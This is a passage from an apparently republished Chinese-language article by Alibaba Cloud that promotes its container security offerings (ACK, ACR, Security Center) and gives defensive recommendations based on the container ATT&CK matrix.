在傳統主機安全場景中,有經驗的攻擊者會找到企業核心數據並對其進行加密勒索。由於容器場景的資源彈性較大,且後端數據的產生、存儲、銷燬鏈路往往通過雲服務API實現,而非在用戶磁盤上進行,企業可以通過雲原生的快照與備份服務來實現資產備份,避免核心數據丟失。

阿里雲容器安全解決方案

阿里雲容器服務(ACK)提供高性能可伸縮的容器應用管理服務,支持企業級Kubernetes容器化應用的生命週期管理。阿里雲容器鏡像服務(ACR)是雲原生時代的重要基礎設施之一,支撐阿里巴巴經濟體容器鏡像託管,分鐘級分發萬節點。自2015年起,先後服務了數千家企業,託管了數 PB容器鏡像數據,支撐月均鏡像拉取數億次。

爲了幫助雲上客戶更好的做好容器安全建設,阿里雲重點關注容器構建、容器部署和容器運行三大生命週期階段,結合容器ATT&CK矩陣,提供自動化的容器安全檢測和響應能力;同時聯合阿里雲原生容器安全服務,共同面向客戶推出雲上容器安全一體化方案,助力企業容器化進程。

藉助雲安全中心,阿里雲可以爲客戶提供自動化的安全編排與響應能力,全面提升容器安全易用性;同時爲容器鏡像提供漏洞掃描和修復,並支持整合在容器構建流程中,避免部署存在風險的容器;對於運行時的容器被植入 Webshell、挖礦病毒等場景,自動化將隔離惡意樣本,並通過聯動雲防火牆,針對存在漏洞的容器,提供虛擬補丁的能力,緩解安全風險。

寫在最後

理解容器ATT&CK矩陣是構建容器安全能力的第一步,除了上述涉及的能力和措施外,阿里雲安全團隊建議用戶在實施容器化過程中需要遵循以下幾點安全規範,從不同角度緩解容器化帶來的風險:

  1. 在應用生命週期中關注您的鏡像,容器,主機,容器管理平臺以及相關雲服務的安全性,瞭解潛在風險以及如何保護整體容器環境的運行免受危害。

  2. 收集並妥善保管K8s集羣、第三方CI組件以及雲服務的API通信憑證,避免因人工誤操作導致的AK泄露。

  3. 由於容器應用生態涉及到的中間件較多,系統管理者需要關注這些中間件的漏洞披露情況並及時做好脆弱性管理和補丁升級工作。

最後,針對上述容器ATT&CK矩陣,阿里雲推出容器安全運行檢測清單,企業可以根據下圖中所展示的內容檢測自己的容器安全水位,以便及時發現問題及時修復。

內容致謝:  

陳吳棟(自樸) 阿里雲高級產品經理、魏俊欣(艾格) 阿里雲高級安全專家、邱戈川(了哥) 阿里雲高級技術專家、杜航(達丁) 阿里雲容器解決方案架構師

【END】

更多精彩推薦

更多精彩推薦

科技巨頭紛紛從刷臉轉向“刷手”,指紋如何扛起生物識別大旗?

程序員曬端午福利,網友:看了你的福利我想摔手機

秋名山老司機從上車到翻車的悲痛經歷,帶你深刻了解什麼是 Spark on Hive!| 原力計劃

Python 還能實現哪些 AI 遊戲?附上代碼一起來一把!

你點的每個“在看”,我都認真當成了喜歡

相關文章